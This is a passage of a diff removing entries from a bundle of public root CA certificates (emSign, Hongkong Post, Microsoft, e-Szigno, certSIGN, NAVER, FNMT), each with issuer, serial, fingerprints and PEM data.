-djAQBgcqhkjOPQIBBgUrgQQAIgNiAAQjpQy4LRL1KPOxst3iAhKAnjlfSU2fySU0
-WXTsuwYc58Byr+iuL+FBVIcUqEqy6HyC5ltqtdyzdc6LBtCGI79G1Y4PPwT01xyS
-fvalY8L1X44uT6EYGQIrMgqCZH0Wk9GjQjBAMB0GA1UdDgQWBBR8XQKEE9TMipuB
-zhccLikenEhjQjAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggq
-hkjOPQQDAwNpADBmAjEAvvNhzwIQHWSVB7gYboiFBS+DCBeQyh+KTOgNG3qxrdWB
-CUfvO6wIBHxcmbHtRwfSAjEAnbpV/KlK6O3t5nYBQnvI+GDZjVGLVTv7jHvrZQnD
-+JbNR6iC8hZVdyR+EhCVBCyj
------END CERTIFICATE-----
-
-# Issuer: CN=emSign Root CA - C1 O=eMudhra Inc OU=emSign PKI
-# Subject: CN=emSign Root CA - C1 O=eMudhra Inc OU=emSign PKI
-# Label: "emSign Root CA - C1"
-# Serial: 825510296613316004955058
-# MD5 Fingerprint: d8:e3:5d:01:21:fa:78:5a:b0:df:ba:d2:ee:2a:5f:68
-# SHA1 Fingerprint: e7:2e:f1:df:fc:b2:09:28:cf:5d:d4:d5:67:37:b1:51:cb:86:4f:01
-# SHA256 Fingerprint: 12:56:09:aa:30:1d:a0:a2:49:b9:7a:82:39:cb:6a:34:21:6f:44:dc:ac:9f:39:54:b1:42:92:f2:e8:c8:60:8f
------BEGIN CERTIFICATE-----
-MIIDczCCAlugAwIBAgILAK7PALrEzzL4Q7IwDQYJKoZIhvcNAQELBQAwVjELMAkG
-A1UEBhMCVVMxEzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEg
-SW5jMRwwGgYDVQQDExNlbVNpZ24gUm9vdCBDQSAtIEMxMB4XDTE4MDIxODE4MzAw
-MFoXDTQzMDIxODE4MzAwMFowVjELMAkGA1UEBhMCVVMxEzARBgNVBAsTCmVtU2ln
-biBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMRwwGgYDVQQDExNlbVNpZ24gUm9v
-dCBDQSAtIEMxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz+upufGZ
-BczYKCFK83M0UYRWEPWgTywS4/oTmifQz/l5GnRfHXk5/Fv4cI7gklL35CX5VIPZ
-HdPIWoU/Xse2B+4+wM6ar6xWQio5JXDWv7V7Nq2s9nPczdcdioOl+yuQFTdrHCZH
-3DspVpNqs8FqOp099cGXOFgFixwR4+S0uF2FHYP+eF8LRWgYSKVGczQ7/g/IdrvH
-GPMF0Ybzhe3nudkyrVWIzqa2kbBPrH4VI5b2P/AgNBbeCsbEBEV5f6f9vtKppa+c
-xSMq9zwhbL2vj07FOrLzNBL834AaSaTUqZX3noleoomslMuoaJuvimUnzYnu3Yy1
-aylwQ6BpC+S5DwIDAQABo0IwQDAdBgNVHQ4EFgQU/qHgcB4qAzlSWkK+XJGFehiq
-TbUwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEL
-BQADggEBAMJKVvoVIXsoounlHfv4LcQ5lkFMOycsxGwYFYDGrK9HWS8mC+M2sO87
-/kOXSTKZEhVb3xEp/6tT+LvBeA+snFOvV71ojD1pM/CjoCNjO2RnIkSt1XHLVip4
-kqNPEjE2NuLe/gDEo2APJ62gsIq1NnpSob0n9CAnYuhNlCQT5AoE6TyrLshDCUrG
-YQTlSTR+08TI9Q/Aqum6VF7zYytPT1DU/rl7mYw9wC68AivTxEDkigcxHpvOJpkT
-+xHqmiIMERnHXhuBUDDIlhJu58tBf5E7oke3VIAb3ADMmpDqw8NQBmIMMMAVSKeo
-WXzhriKi4gp6D/piq1JM4fHfyr6DDUI=
------END CERTIFICATE-----
-
-# Issuer: CN=emSign ECC Root CA - C3 O=eMudhra Inc OU=emSign PKI
-# Subject: CN=emSign ECC Root CA - C3 O=eMudhra Inc OU=emSign PKI
-# Label: "emSign ECC Root CA - C3"
-# Serial: 582948710642506000014504
-# MD5 Fingerprint: 3e:53:b3:a3:81:ee:d7:10:f8:d3:b0:1d:17:92:f5:d5
-# SHA1 Fingerprint: b6:af:43:c2:9b:81:53:7d:f6:ef:6b:c3:1f:1f:60:15:0c:ee:48:66
-# SHA256 Fingerprint: bc:4d:80:9b:15:18:9d:78:db:3e:1d:8c:f4:f9:72:6a:79:5d:a1:64:3c:a5:f1:35:8e:1d:db:0e:dc:0d:7e:b3
------BEGIN CERTIFICATE-----
-MIICKzCCAbGgAwIBAgIKe3G2gla4EnycqDAKBggqhkjOPQQDAzBaMQswCQYDVQQG
-EwJVUzETMBEGA1UECxMKZW1TaWduIFBLSTEUMBIGA1UEChMLZU11ZGhyYSBJbmMx
-IDAeBgNVBAMTF2VtU2lnbiBFQ0MgUm9vdCBDQSAtIEMzMB4XDTE4MDIxODE4MzAw
-MFoXDTQzMDIxODE4MzAwMFowWjELMAkGA1UEBhMCVVMxEzARBgNVBAsTCmVtU2ln
-biBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMSAwHgYDVQQDExdlbVNpZ24gRUND
-IFJvb3QgQ0EgLSBDMzB2MBAGByqGSM49AgEGBSuBBAAiA2IABP2lYa57JhAd6bci
-MK4G9IGzsUJxlTm801Ljr6/58pc1kjZGDoeVjbk5Wum739D+yAdBPLtVb4Ojavti
-sIGJAnB9SMVK4+kiVCJNk7tCDK93nCOmfddhEc5lx/h//vXyqaNCMEAwHQYDVR0O
-BBYEFPtaSNCAIEDyqOkAB2kZd6fmw/TPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMB
-Af8EBTADAQH/MAoGCCqGSM49BAMDA2gAMGUCMQC02C8Cif22TGK6Q04ThHK1rt0c
-3ta13FaPWEBaLd4gTCKDypOofu4SQMfWh0/434UCMBwUZOR8loMRnLDRWmFLpg9J
-0wD8ofzkpf9/rdcw0Md3f76BB1UwUCAU9Vc4CqgxUQ==
------END CERTIFICATE-----
-
-# Issuer: CN=Hongkong Post Root CA 3 O=Hongkong Post
-# Subject: CN=Hongkong Post Root CA 3 O=Hongkong Post
-# Label: "Hongkong Post Root CA 3"
-# Serial: 46170865288971385588281144162979347873371282084
-# MD5 Fingerprint: 11:fc:9f:bd:73:30:02:8a:fd:3f:f3:58:b9:cb:20:f0
-# SHA1 Fingerprint: 58:a2:d0:ec:20:52:81:5b:c1:f3:f8:64:02:24:4e:c2:8e:02:4b:02
-# SHA256 Fingerprint: 5a:2f:c0:3f:0c:83:b0:90:bb:fa:40:60:4b:09:88:44:6c:76:36:18:3d:f9:84:6e:17:10:1a:44:7f:b8:ef:d6
------BEGIN CERTIFICATE-----
-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
-mpv0
------END CERTIFICATE-----
-
-# Issuer: CN=Microsoft ECC Root Certificate Authority 2017 O=Microsoft Corporation
-# Subject: CN=Microsoft ECC Root Certificate Authority 2017 O=Microsoft Corporation
-# Label: "Microsoft ECC Root Certificate Authority 2017"
-# Serial: 136839042543790627607696632466672567020
-# MD5 Fingerprint: dd:a1:03:e6:4a:93:10:d1:bf:f0:19:42:cb:fe:ed:67
-# SHA1 Fingerprint: 99:9a:64:c3:7f:f4:7d:9f:ab:95:f1:47:69:89:14:60:ee:c4:c3:c5
-# SHA256 Fingerprint: 35:8d:f3:9d:76:4a:f9:e1:b7:66:e9:c9:72:df:35:2e:e1:5c:fa:c2:27:af:6a:d1:d7:0e:8e:4a:6e:dc:ba:02
------BEGIN CERTIFICATE-----
-MIICWTCCAd+gAwIBAgIQZvI9r4fei7FK6gxXMQHC7DAKBggqhkjOPQQDAzBlMQsw
-CQYDVQQGEwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYD
-VQQDEy1NaWNyb3NvZnQgRUNDIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIw
-MTcwHhcNMTkxMjE4MjMwNjQ1WhcNNDIwNzE4MjMxNjA0WjBlMQswCQYDVQQGEwJV
-UzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYDVQQDEy1NaWNy
-b3NvZnQgRUNDIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwdjAQBgcq
-hkjOPQIBBgUrgQQAIgNiAATUvD0CQnVBEyPNgASGAlEvaqiBYgtlzPbKnR5vSmZR
-ogPZnZH6thaxjG7efM3beaYvzrvOcS/lpaso7GMEZpn4+vKTEAXhgShC48Zo9OYb
-hGBKia/teQ87zvH2RPUBeMCjVDBSMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8E
-BTADAQH/MB0GA1UdDgQWBBTIy5lycFIM+Oa+sgRXKSrPQhDtNTAQBgkrBgEEAYI3
-FQEEAwIBADAKBggqhkjOPQQDAwNoADBlAjBY8k3qDPlfXu5gKcs68tvWMoQZP3zV
-L8KxzJOuULsJMsbG7X7JNpQS5GiFBqIb0C8CMQCZ6Ra0DvpWSNSkMBaReNtUjGUB
-iudQZsIxtzm6uBoiB078a1QWIP8rtedMDE2mT3M=
------END CERTIFICATE-----
-
-# Issuer: CN=Microsoft RSA Root Certificate Authority 2017 O=Microsoft Corporation
-# Subject: CN=Microsoft RSA Root Certificate Authority 2017 O=Microsoft Corporation
-# Label: "Microsoft RSA Root Certificate Authority 2017"
-# Serial: 40975477897264996090493496164228220339
-# MD5 Fingerprint: 10:ff:00:ff:cf:c9:f8:c7:7a:c0:ee:35:8e:c9:0f:47
-# SHA1 Fingerprint: 73:a5:e6:4a:3b:ff:83:16:ff:0e:dc:cc:61:8a:90:6e:4e:ae:4d:74
-# SHA256 Fingerprint: c7:41:f7:0f:4b:2a:8d:88:bf:2e:71:c1:41:22:ef:53:ef:10:eb:a0:cf:a5:e6:4c:fa:20:f4:18:85:30:73:e0
------BEGIN CERTIFICATE-----
-MIIFqDCCA5CgAwIBAgIQHtOXCV/YtLNHcB6qvn9FszANBgkqhkiG9w0BAQwFADBl
-MQswCQYDVQQGEwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYw
-NAYDVQQDEy1NaWNyb3NvZnQgUlNBIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5
-IDIwMTcwHhcNMTkxMjE4MjI1MTIyWhcNNDIwNzE4MjMwMDIzWjBlMQswCQYDVQQG
-EwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYDVQQDEy1N
-aWNyb3NvZnQgUlNBIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwggIi
-MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKW76UM4wplZEWCpW9R2LBifOZ
-Nt9GkMml7Xhqb0eRaPgnZ1AzHaGm++DlQ6OEAlcBXZxIQIJTELy/xztokLaCLeX0
-ZdDMbRnMlfl7rEqUrQ7eS0MdhweSE5CAg2Q1OQT85elss7YfUJQ4ZVBcF0a5toW1
-HLUX6NZFndiyJrDKxHBKrmCk3bPZ7Pw71VdyvD/IybLeS2v4I2wDwAW9lcfNcztm
-gGTjGqwu+UcF8ga2m3P1eDNbx6H7JyqhtJqRjJHTOoI+dkC0zVJhUXAoP8XFWvLJ
-jEm7FFtNyP9nTUwSlq31/niol4fX/V4ggNyhSyL71Imtus5Hl0dVe49FyGcohJUc
-aDDv70ngNXtk55iwlNpNhTs+VcQor1fznhPbRiefHqJeRIOkpcrVE7NLP8TjwuaG
-YaRSMLl6IE9vDzhTyzMMEyuP1pq9KsgtsRx9S1HKR9FIJ3Jdh+vVReZIZZ2vUpC6
-W6IYZVcSn2i51BVrlMRpIpj0M+Dt+VGOQVDJNE92kKz8OMHY4Xu54+OU4UZpyw4K
-UGsTuqwPN1q3ErWQgR5WrlcihtnJ0tHXUeOrO8ZV/R4O03QK0dqq6mm4lyiPSMQH
-+FJDOvTKVTUssKZqwJz58oHhEmrARdlns87/I6KJClTUFLkqqNfs+avNJVgyeY+Q
-W5g5xAgGwax/Dj0ApQIDAQABo1QwUjAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/
-BAUwAwEB/zAdBgNVHQ4EFgQUCctZf4aycI8awznjwNnpv7tNsiMwEAYJKwYBBAGC
-NxUBBAMCAQAwDQYJKoZIhvcNAQEMBQADggIBAKyvPl3CEZaJjqPnktaXFbgToqZC
-LgLNFgVZJ8og6Lq46BrsTaiXVq5lQ7GPAJtSzVXNUzltYkyLDVt8LkS/gxCP81OC
-gMNPOsduET/m4xaRhPtthH80dK2Jp86519efhGSSvpWhrQlTM93uCupKUY5vVau6
-tZRGrox/2KJQJWVggEbbMwSubLWYdFQl3JPk+ONVFT24bcMKpBLBaYVu32TxU5nh
-SnUgnZUP5NbcA/FZGOhHibJXWpS2qdgXKxdJ5XbLwVaZOjex/2kskZGT4d9Mozd2
-TaGf+G0eHdP67Pv0RR0Tbc/3WeUiJ3IrhvNXuzDtJE3cfVa7o7P4NHmJweDyAmH3
-pvwPuxwXC65B2Xy9J6P9LjrRk5Sxcx0ki69bIImtt2dmefU6xqaWM/5TkshGsRGR
-xpl/j8nWZjEgQRCHLQzWwa80mMpkg/sTV9HB8Dx6jKXB/ZUhoHHBk2dxEuqPiApp
-GWSZI1b7rCoucL5mxAyE7+WL85MB+GqQk2dLsmijtWKP6T+MejteD+eMuMZ87zf9
-dOLITzNy4ZQ5bb0Sr74MTnB8G2+NszKTc0QWbej09+CVgI+WXTik9KveCjCHk9hN
-AHFiRSdLOkKEW39lt2c0Ui2cFmuqqNh7o0JMcccMyj6D5KbvtwEwXlGjefVwaaZB
-RA+GsCyRxj3qrg+E
------END CERTIFICATE-----
-
-# Issuer: CN=e-Szigno Root CA 2017 O=Microsec Ltd.
-# Subject: CN=e-Szigno Root CA 2017 O=Microsec Ltd.
-# Label: "e-Szigno Root CA 2017"
-# Serial: 411379200276854331539784714
-# MD5 Fingerprint: de:1f:f6:9e:84:ae:a7:b4:21:ce:1e:58:7d:d1:84:98
-# SHA1 Fingerprint: 89:d4:83:03:4f:9e:9a:48:80:5f:72:37:d4:a9:a6:ef:cb:7c:1f:d1
-# SHA256 Fingerprint: be:b0:0b:30:83:9b:9b:c3:2c:32:e4:44:79:05:95:06:41:f2:64:21:b1:5e:d0:89:19:8b:51:8a:e2:ea:1b:99
------BEGIN CERTIFICATE-----
-MIICQDCCAeWgAwIBAgIMAVRI7yH9l1kN9QQKMAoGCCqGSM49BAMCMHExCzAJBgNV
-BAYTAkhVMREwDwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UECgwNTWljcm9zZWMgTHRk
-LjEXMBUGA1UEYQwOVkFUSFUtMjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3ppZ25vIFJv
-b3QgQ0EgMjAxNzAeFw0xNzA4MjIxMjA3MDZaFw00MjA4MjIxMjA3MDZaMHExCzAJ
-BgNVBAYTAkhVMREwDwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UECgwNTWljcm9zZWMg
-THRkLjEXMBUGA1UEYQwOVkFUSFUtMjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3ppZ25v
-IFJvb3QgQ0EgMjAxNzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABJbcPYrYsHtv
-xie+RJCxs1YVe45DJH0ahFnuY2iyxl6H0BVIHqiQrb1TotreOpCmYF9oMrWGQd+H
-Wyx7xf58etqjYzBhMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0G
-A1UdDgQWBBSHERUI0arBeAyxr87GyZDvvzAEwDAfBgNVHSMEGDAWgBSHERUI0arB
-eAyxr87GyZDvvzAEwDAKBggqhkjOPQQDAgNJADBGAiEAtVfd14pVCzbhhkT61Nlo
-jbjcI4qKDdQvfepz7L9NbKgCIQDLpbQS+ue16M9+k/zzNY9vTlp8tLxOsvxyqltZ
-+efcMQ==
------END CERTIFICATE-----
-
-# Issuer: O=CERTSIGN SA OU=certSIGN ROOT CA G2
-# Subject: O=CERTSIGN SA OU=certSIGN ROOT CA G2
-# Label: "certSIGN Root CA G2"
-# Serial: 313609486401300475190
-# MD5 Fingerprint: 8c:f1:75:8a:c6:19:cf:94:b7:f7:65:20:87:c3:97:c7
-# SHA1 Fingerprint: 26:f9:93:b4:ed:3d:28:27:b0:b9:4b:a7:e9:15:1d:a3:8d:92:e5:32
-# SHA256 Fingerprint: 65:7c:fe:2f:a7:3f:aa:38:46:25:71:f3:32:a2:36:3a:46:fc:e7:02:09:51:71:07:02:cd:fb:b6:ee:da:33:05
------BEGIN CERTIFICATE-----
-MIIFRzCCAy+gAwIBAgIJEQA0tk7GNi02MA0GCSqGSIb3DQEBCwUAMEExCzAJBgNV
-BAYTAlJPMRQwEgYDVQQKEwtDRVJUU0lHTiBTQTEcMBoGA1UECxMTY2VydFNJR04g
-Uk9PVCBDQSBHMjAeFw0xNzAyMDYwOTI3MzVaFw00MjAyMDYwOTI3MzVaMEExCzAJ
-BgNVBAYTAlJPMRQwEgYDVQQKEwtDRVJUU0lHTiBTQTEcMBoGA1UECxMTY2VydFNJ
-R04gUk9PVCBDQSBHMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMDF
-dRmRfUR0dIf+DjuW3NgBFszuY5HnC2/OOwppGnzC46+CjobXXo9X69MhWf05N0Iw
-vlDqtg+piNguLWkh59E3GE59kdUWX2tbAMI5Qw02hVK5U2UPHULlj88F0+7cDBrZ
-uIt4ImfkabBoxTzkbFpG583H+u/E7Eu9aqSs/cwoUe+StCmrqzWaTOTECMYmzPhp
-n+Sc8CnTXPnGFiWeI8MgwT0PPzhAsP6CRDiqWhqKa2NYOLQV07YRaXseVO6MGiKs
-cpc/I1mbySKEwQdPzH/iV8oScLumZfNpdWO9lfsbl83kqK/20U6o2YpxJM02PbyW
-xPFsqa7lzw1uKA2wDrXKUXt4FMMgL3/7FFXhEZn91QqhngLjYl/rNUssuHLoPj1P
-rCy7Lobio3aP5ZMqz6WryFyNSwb/EkaseMsUBzXgqd+L6a8VTxaJW732jcZZroiF
-DsGJ6x9nxUWO/203Nit4ZoORUSs9/1F3dmKh7Gc+PoGD4FapUB8fepmrY7+EF3fx
-DTvf95xhszWYijqy7DwaNz9+j5LP2RIUZNoQAhVB/0/E6xyjyfqZ90bp4RjZsbgy
-LcsUDFDYg2WD7rlcz8sFWkz6GZdr1l0T08JcVLwyc6B49fFtHsufpaafItzRUZ6C
-eWRgKRM+o/1Pcmqr4tTluCRVLERLiohEnMqE0yo7AgMBAAGjQjBAMA8GA1UdEwEB
-/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBSCIS1mxteg4BXrzkwJ
-d8RgnlRuAzANBgkqhkiG9w0BAQsFAAOCAgEAYN4auOfyYILVAzOBywaK8SJJ6ejq
-kX/GM15oGQOGO0MBzwdw5AgeZYWR5hEit/UCI46uuR59H35s5r0l1ZUa8gWmr4UC
-b6741jH/JclKyMeKqdmfS0mbEVeZkkMR3rYzpMzXjWR91M08KCy0mpbqTfXERMQl
-qiCA2ClV9+BB/AYm/7k29UMUA2Z44RGx2iBfRgB4ACGlHgAoYXhvqAEBj500mv/0
-OJD7uNGzcgbJceaBxXntC6Z58hMLnPddDnskk7RI24Zf3lCGeOdA5jGokHZwYa+c
-NywRtYK3qq4kNFtyDGkNzVmf9nGvnAvRCjj5BiKDUyUM/FHE5r7iOZULJK2v0ZXk
-ltd0ZGtxTgI8qoXzIKNDOXZbbFD+mpwUHmUUihW9o4JFWklWatKcsWMy5WHgUyIO
-pwpJ6st+H6jiYoD2EEVSmAYY3qXNL3+q1Ok+CHLsIwMCPKaq2LxndD0UF/tUSxfj
-03k9bWtJySgOLnRQvwzZRjoQhsmnP+mg7H/rpXdYaXHmgwo38oZJar55CJD2AhZk
-PuXaTH4MNMn5X7azKFGnpyuqSfqNZSlO42sTp5SjLVFteAxEy9/eCG/Oo2Sr05WE
-1LlSVHJ7liXMvGnjSG4N0MedJ5qq+BOS3R7fY581qRY27Iy4g/Q9iY/NtBde17MX
-QRBdJ3NghVdJIgc=
------END CERTIFICATE-----
-
-# Issuer: CN=NAVER Global Root Certification Authority O=NAVER BUSINESS PLATFORM Corp.
-# Subject: CN=NAVER Global Root Certification Authority O=NAVER BUSINESS PLATFORM Corp.
-# Label: "NAVER Global Root Certification Authority"
-# Serial: 9013692873798656336226253319739695165984492813
-# MD5 Fingerprint: c8:7e:41:f6:25:3b:f5:09:b3:17:e8:46:3d:bf:d0:9b
-# SHA1 Fingerprint: 8f:6b:f2:a9:27:4a:da:14:a0:c4:f4:8e:61:27:f9:c0:1e:78:5d:d1
-# SHA256 Fingerprint: 88:f4:38:dc:f8:ff:d1:fa:8f:42:91:15:ff:e5:f8:2a:e1:e0:6e:0c:70:c3:75:fa:ad:71:7b:34:a4:9e:72:65
------BEGIN CERTIFICATE-----
-MIIFojCCA4qgAwIBAgIUAZQwHqIL3fXFMyqxQ0Rx+NZQTQ0wDQYJKoZIhvcNAQEM
-BQAwaTELMAkGA1UEBhMCS1IxJjAkBgNVBAoMHU5BVkVSIEJVU0lORVNTIFBMQVRG
-T1JNIENvcnAuMTIwMAYDVQQDDClOQVZFUiBHbG9iYWwgUm9vdCBDZXJ0aWZpY2F0
-aW9uIEF1dGhvcml0eTAeFw0xNzA4MTgwODU4NDJaFw0zNzA4MTgyMzU5NTlaMGkx
-CzAJBgNVBAYTAktSMSYwJAYDVQQKDB1OQVZFUiBCVVNJTkVTUyBQTEFURk9STSBD
-b3JwLjEyMDAGA1UEAwwpTkFWRVIgR2xvYmFsIFJvb3QgQ2VydGlmaWNhdGlvbiBB
-dXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC21PGTXLVA
-iQqrDZBbUGOukJR0F0Vy1ntlWilLp1agS7gvQnXp2XskWjFlqxcX0TM62RHcQDaH
-38dq6SZeWYp34+hInDEW+j6RscrJo+KfziFTowI2MMtSAuXaMl3Dxeb57hHHi8lE
-HoSTGEq0n+USZGnQJoViAbbJAh2+g1G7XNr4rRVqmfeSVPc0W+m/6imBEtRTkZaz
-kVrd/pBzKPswRrXKCAfHcXLJZtM0l/aM9BhK4dA9WkW2aacp+yPOiNgSnABIqKYP
-szuSjXEOdMWLyEz59JuOuDxp7W87UC9Y7cSw0BwbagzivESq2M0UXZR4Yb8Obtoq
-vC8MC3GmsxY/nOb5zJ9TNeIDoKAYv7vxvvTWjIcNQvcGufFt7QSUqP620wbGQGHf
-nZ3zVHbOUzoBppJB7ASjjw2i1QnK1sua8e9DXcCrpUHPXFNwcMmIpi3Ua2FzUCaG
-YQ5fG8Ir4ozVu53BA0K6lNpfqbDKzE0K70dpAy8i+/Eozr9dUGWokG2zdLAIx6yo
-0es+nPxdGoMuK8u180SdOqcXYZaicdNwlhVNt0xz7hlcxVs+Qf6sdWA7G2POAN3a
-CJBitOUt7kinaxeZVL6HSuOpXgRM6xBtVNbv8ejyYhbLgGvtPe31HzClrkvJE+2K
-AQHJuFFYwGY6sWZLxNUxAmLpdIQM201GLQIDAQABo0IwQDAdBgNVHQ4EFgQU0p+I
-36HNLL3s9TsBAZMzJ7LrYEswDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMB
-Af8wDQYJKoZIhvcNAQEMBQADggIBADLKgLOdPVQG3dLSLvCkASELZ0jKbY7gyKoN
-qo0hV4/GPnrK21HUUrPUloSlWGB/5QuOH/XcChWB5Tu2tyIvCZwTFrFsDDUIbatj
-cu3cvuzHV+YwIHHW1xDBE1UBjCpD5EHxzzp6U5LOogMFDTjfArsQLtk70pt6wKGm
-+LUx5vR1yblTmXVHIloUFcd4G7ad6Qz4G3bxhYTeodoS76TiEJd6eN4MUZeoIUCL
-hr0N8F5OSza7OyAfikJW4Qsav3vQIkMsRIz75Sq0bBwcupTgE34h5prCy8VCZLQe
-lHsIJchxzIdFV4XTnyliIoNRlwAYl3dqmJLJfGBs32x9SuRwTMKeuB330DTHD8z7
-p/8Dvq1wkNoL3chtl1+afwkyQf3NosxabUzyqkn+Zvjp2DXrDige7kgvOtB5CTh8
-piKCk5XQA76+AqAF3SAi428diDRgxuYKuQl1C/AH6GmWNcf7I4GOODm4RStDeKLR
-LBT/DShycpWbXgnbiUSYqqFJu3FS8r/2/yehNq+4tneI3TqkbZs0kNwUXTC/t+sX
-5Ie3cdCh13cV1ELX8vMxmV2b3RZtP+oGI/hGoiLtk/bdmuYqh7GYVPEi92tF4+KO
-dh2ajcQGjTa3FPOdVGm3jjzVpG2Tgbet9r1ke8LJaDmgkpzNNIaRkPpkUZ3+/uul
-9XXeifdy
------END CERTIFICATE-----
-
-# Issuer: CN=AC RAIZ FNMT-RCM SERVIDORES SEGUROS O=FNMT-RCM OU=Ceres
-# Subject: CN=AC RAIZ FNMT-RCM SERVIDORES SEGUROS O=FNMT-RCM OU=Ceres
-# Label: "AC RAIZ FNMT-RCM SERVIDORES SEGUROS"
-# Serial: 131542671362353147877283741781055151509
-# MD5 Fingerprint: 19:36:9c:52:03:2f:d2:d1:bb:23:cc:dd:1e:12:55:bb
-# SHA1 Fingerprint: 62:ff:d9:9e:c0:65:0d:03:ce:75:93:d2:ed:3f:2d:32:c9:e3:e5:4a
-# SHA256 Fingerprint: 55:41:53:b1:3d:2c:f9:dd:b7:53:bf:be:1a:4e:0a:e0:8d:0a:a4:18:70:58:fe:60:a2:b8:62:b2:e4:b8:7b:cb
------BEGIN CERTIFICATE-----
-MIICbjCCAfOgAwIBAgIQYvYybOXE42hcG2LdnC6dlTAKBggqhkjOPQQDAzB4MQsw
-CQYDVQQGEwJFUzERMA8GA1UECgwIRk5NVC1SQ00xDjAMBgNVBAsMBUNlcmVzMRgw
